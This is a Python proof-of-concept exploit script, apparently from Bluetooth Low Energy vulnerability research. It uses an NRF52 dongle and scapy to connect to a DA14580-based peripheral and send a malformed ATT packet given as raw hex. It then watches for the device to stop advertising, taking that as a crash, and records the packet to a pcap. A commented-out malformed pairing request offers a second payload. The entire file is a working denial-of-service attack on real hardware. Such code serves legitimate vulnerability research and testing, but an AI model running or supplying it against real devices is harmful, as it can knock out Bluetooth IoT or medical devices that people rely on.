DA14580_exploit_att_crash.py

#!/usr/bin/python 
import os
import platform
import sys
from threading import Timer
from time import sleep

# libs
sys.path.insert(0, os.getcwd() + '/libs')
import colorama
from colorama import Fore
from drivers.NRF52_dongle import NRF52Dongle
from scapy.layers.bluetooth4LE import *
from scapy.utils import wrpcap
from scapy.compat import raw

none_count = 0
slave_connected = False
send_version_ind = False
end_connection = False
slave_addr_type = 0


def send(scapy_pkt, print_tx=True):
    driver.raw_send(raw(scapy_pkt))
    if print_tx:
        print(Fore.CYAN + "TX ---> " + scapy_pkt.summary()[7:])


# Autoreset colors
colorama.init(autoreset=True)

# Get serial port from command line
if len(sys.argv) >= 2:
    serial_port = sys.argv[1]
elif platform.system() == 'Linux':
    serial_port = '/dev/ttyACM0'
elif platform.system() == 'Windows':
    serial_port = 'COM1'
else:
    print(Fore.RED + 'Platform not identified')
    sys.exit(0)

print(Fore.YELLOW + 'Serial port: ' + serial_port)

# Get advertiser_address from command line (peripheral addr)
if len(sys.argv) >= 3:
    advertiser_address = sys.argv[2].upper()
else:
    advertiser_address = '80:ea:ca:00:00:03'.upper()

print(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())


def crash_timeout():
    print(Fore.RED + "No advertisement from " + advertiser_address.upper() +
          ' received\nThe device may have crashed!!!')
    exit(0)


def scan_timeout():
    global slave_addr_type, slave_connected
    if not slave_connected:
        scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
            ScanA=master_address,
            AdvA=advertiser_address)
        send(scan_req)

    timeout_scan = Timer(3, scan_timeout)
    timeout_scan.daemon = True
    timeout_scan.start()
    slave_connected = False


# Default master address
master_address = '5d:36:ac:90:0b:22'
access_address = 0x9a328370
# Open serial port of NRF52 Dongle
driver = NRF52Dongle(serial_port, '115200')
# Send scan request
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
    ScanA=master_address,
    AdvA=advertiser_address)
send(scan_req)

timeout = Timer(7.0, crash_timeout)
timeout.daemon = True
timeout.start()

timeout_scan = Timer(3, scan_timeout)
timeout_scan.daemon = True
timeout_scan.start()

print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
while True:
    pkt = None
    # Receive packet from the NRF52 Dongle
    data = driver.raw_receive()
    if data:
        # Decode Bluetooth Low Energy Data
        pkt = BTLE(data)
        # if packet is incorrectly decoded, you may not be using the dongle
        if pkt is None:
            none_count += 1
            if none_count >= 4:
                print(Fore.RED + 'NRF52 Dongle not detected')
                sys.exit(0)
            continue
        elif slave_connected and BTLE_EMPTY_PDU not in pkt:
            # Print slave data channel PDUs summary
            print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
        # --------------- Process Link Layer Packets here ------------------------------------
        # Check if packet from advertised is received
        if pkt and (BTLE_SCAN_RSP in pkt or BTLE_ADV in pkt) and pkt.AdvA == advertiser_address.lower() and \
                slave_connected == False:
            timeout.cancel()
            slave_addr_type = pkt.TxAdd
            print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
            # Send connection request to advertiser
            conn_request = BTLE() / BTLE_ADV(RxAdd=slave_addr_type, TxAdd=0) / BTLE_CONNECT_REQ(
                InitA=master_address,
                AdvA=advertiser_address,
                AA=access_address,  # Access address (any)
                crc_init=0x179a9c,  # CRC init (any)
                win_size=2,  # 2.5 of windows size (anchor connection window size)
                win_offset=1,  # 1.25ms windows offset (anchor connection point)
                interval=16,  # 20ms connection interval
                latency=0,  # Slave latency (any)
                timeout=50,  # Supervision timeout, 500ms (any)
                chM=0x1FFFFFFFFF,  # Any
                hop=5,  # Hop increment (any)
                SCA=0,  # Clock tolerance
            )
            # Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!
            send(conn_request)
        elif not slave_connected and BTLE_EMPTY_PDU in pkt:
            slave_connected = True
            print(Fore.GREEN + 'Slave Connected (L2Cap channel established)')
            length_req = BTLE('7083329a02070000040010edea874aac'.decode('hex'))  # att
            # length_req = BTLE('7083329a06ba070006000c03f5fa100fbbcfb5a6'.decode('hex')) # pairing request
            send(length_req)
            end_connection = True
            wrpcap('DA14580_exploit_att_crash.pcap',
                   NORDIC_BLE(board=75, protocol=2, flags=0x3) / length_req)  # save packet just sent

        elif LL_LENGTH_REQ in pkt:
            length_rsp = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_RSP(
                max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
            send(length_rsp)  # Send a normal length response
        elif end_connection == True:
            end_connection = False
            slave_connected = False
            scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
                ScanA=master_address,
                AdvA=advertiser_address)
            print(Fore.YELLOW + 'Connection reset, malformed packet was sent')
            # Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!
            # send(scan_req, print_tx=False)
            print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
            send(scan_req)

    sleep(0.01)